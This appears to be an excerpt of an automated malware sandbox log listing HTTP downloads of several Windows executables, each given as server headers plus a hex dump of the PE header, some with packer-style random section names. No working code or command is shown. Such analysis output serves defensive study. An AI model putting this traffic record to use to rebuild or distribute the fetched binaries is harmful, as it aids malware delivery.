Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 15:16:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:16:37 GMTContent-Type: application/octet-streamContent-Length: 3255808Last-Modified: Fri, 15 Nov 2024 15:05:35 GMTConnection: keep-aliveETag: "6737633f-31ae00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 31 00 00 04 00 00 ee ef 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 9e 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 9d 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 71 72 72 6a 65 79 78 00 f0 2a 00 00 b0 06 00 00 f0 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 68 64 69 64 76 65 61 00 10 00 00 00 a0 31 00 00 04 00 00 00 88 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 31 00 00 22 00 00 00 8c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:08 GMTContent-Type: application/octet-streamContent-Length: 4416512Last-Modified: Fri, 15 Nov 2024 13:49:42 GMTConnection: keep-aliveETag: "67375176-436400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 41 89 35 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 47 00 00 32 69 00 00 32 00 00 00 40 bb 00 00 10 00 00 00 10 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 bb 00 00 04 00 00 96 dd 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 2d bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2c bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 66 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 90 66 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 66 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 b0 66 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 75 79 62 65 69 75 00 c0 1b 00 00 70 9f 00 00 be 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 6a 6d 74 72 6b 6c 00 10 00 00 00 30 bb 00 00 04 00 00 00 3e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 bb 00 00 22 00 00 00 42 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:14 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Fri, 15 Nov 2024 15:05:20 GMTConnection: keep-aliveETag: "67376330-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 e0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 49 00 00 04 00 00 62 24 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 4a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 30 05 00 00 00 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 50 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 68 78 69 71 77 79 73 00 70 19 00 00 60 2f 00 00 66 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 64 67 68 72 67 77 00 10 00 00 00 d0 48 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 48 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 15:17:20 GMTContent-Type: application/octet-streamContent-Length: 1822720Last-Modified: Fri, 15 Nov 2024 15:05:27 GMTConnection: keep-aliveETag: "67376337-1bd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 00 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 6a 00 00 04 00 00 0a 34 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 74 75 63 78 72 65 7a 00 40 1a 00 00 b0 4f 00 00 32 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 68 63 75 68 70 66 6b 00 10 00 00 00 f0 69 00 00 06 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 6a 00 00 22 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
